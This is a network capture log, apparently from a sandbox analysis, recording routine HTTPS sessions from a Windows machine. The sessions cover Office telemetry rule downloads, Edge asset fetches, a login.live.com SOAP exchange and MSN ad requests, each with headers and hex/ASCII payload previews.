138	192.168.2.7	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:01 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:01 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: dcdca57e-b01e-003e-0dcb-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210501Z-15b8b599d88m7pn7hC1TEB4axw00000000gg0000000063hr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:05:01 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:02 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210502Z-178bfbc474bv7whqhC1NYC1fg40000000230000000003wgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:05:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49922	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:02 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:02 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b5bd8ae7-b01e-0031-7959-3c33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210502Z-178bfbc474bpnd5vhC1NYC4vr4000000023g000000000mvu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:05:02 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	49923	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:02 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:02 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:02 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: e2797b0a-201e-0070-4447-3c1bc3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210502Z-15b8b599d88m7pn7hC1TEB4axw00000000kg00000000510z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:05:02 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:02 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:02 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210502Z-178bfbc474bpnd5vhC1NYC4vr400000002300000000031fr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:05:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49927	3.168.102.127	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:02 UTC	1012	OUT	GET /b2?rn=1732223097968&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AFA34AF60E96DDF261E219161EE6CD7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=15497343e96417d65aaa5001732223100; XID=15497343e96417d65aaa5001732223100
2024-11-21 21:05:02 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 21 Nov 2024 21:05:02 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 2cb12387b5c8bb91522882a2a1ea1540.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P6 X-Amz-Cf-Id: r3SV6XaEM7dCQ5n1LkeXLFnWc94uo31REofjQMw5l8supldLRFlSwg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:02 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:02 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:02 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 529557e1-c01e-0079-5045-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210502Z-15b8b599d88f9wfchC1TEBm2kc00000000q0000000003nsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:05:02 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:02 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:02 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:02 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 5a6b30d1-101e-00a2-7c5b-3b9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210502Z-178bfbc474bw8bwphC1NYC38b400000001r0000000012bff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:05:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	49928	20.190.177.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 21:05:02 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:05:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:04:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C503_SN1 x-ms-request-id: 47f99bca-1743-4b9c-8651-936917b7b0da PPServer: PPV: 30 H: SN1PEPF0003FB53 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:05:02 GMT Connection: close Content-Length: 11389
2024-11-21 21:05:03 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	49930	20.99.185.48	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:03 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3AFA34AF60E96DDF261E219161EE6CD7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=c3d21b22c27249cbaf7829a126bca392 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1
2024-11-21 21:05:03 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2774 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132671-T700343875-C128000000002116289+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116289+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Nov 2024 21:05:03 GMT Connection: close
2024-11-21 21:05:03 UTC	2774	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 65 72 65 6e 67 65 74 69 20 4e 50 2c 20 54 61 6e 7a 61 6e 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 65 72 65 6e 67 65 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Serengeti NP, Tanzania\",\"cta\":\"https:\/\/www.bing.com\/search?q=Serenget

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:03 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
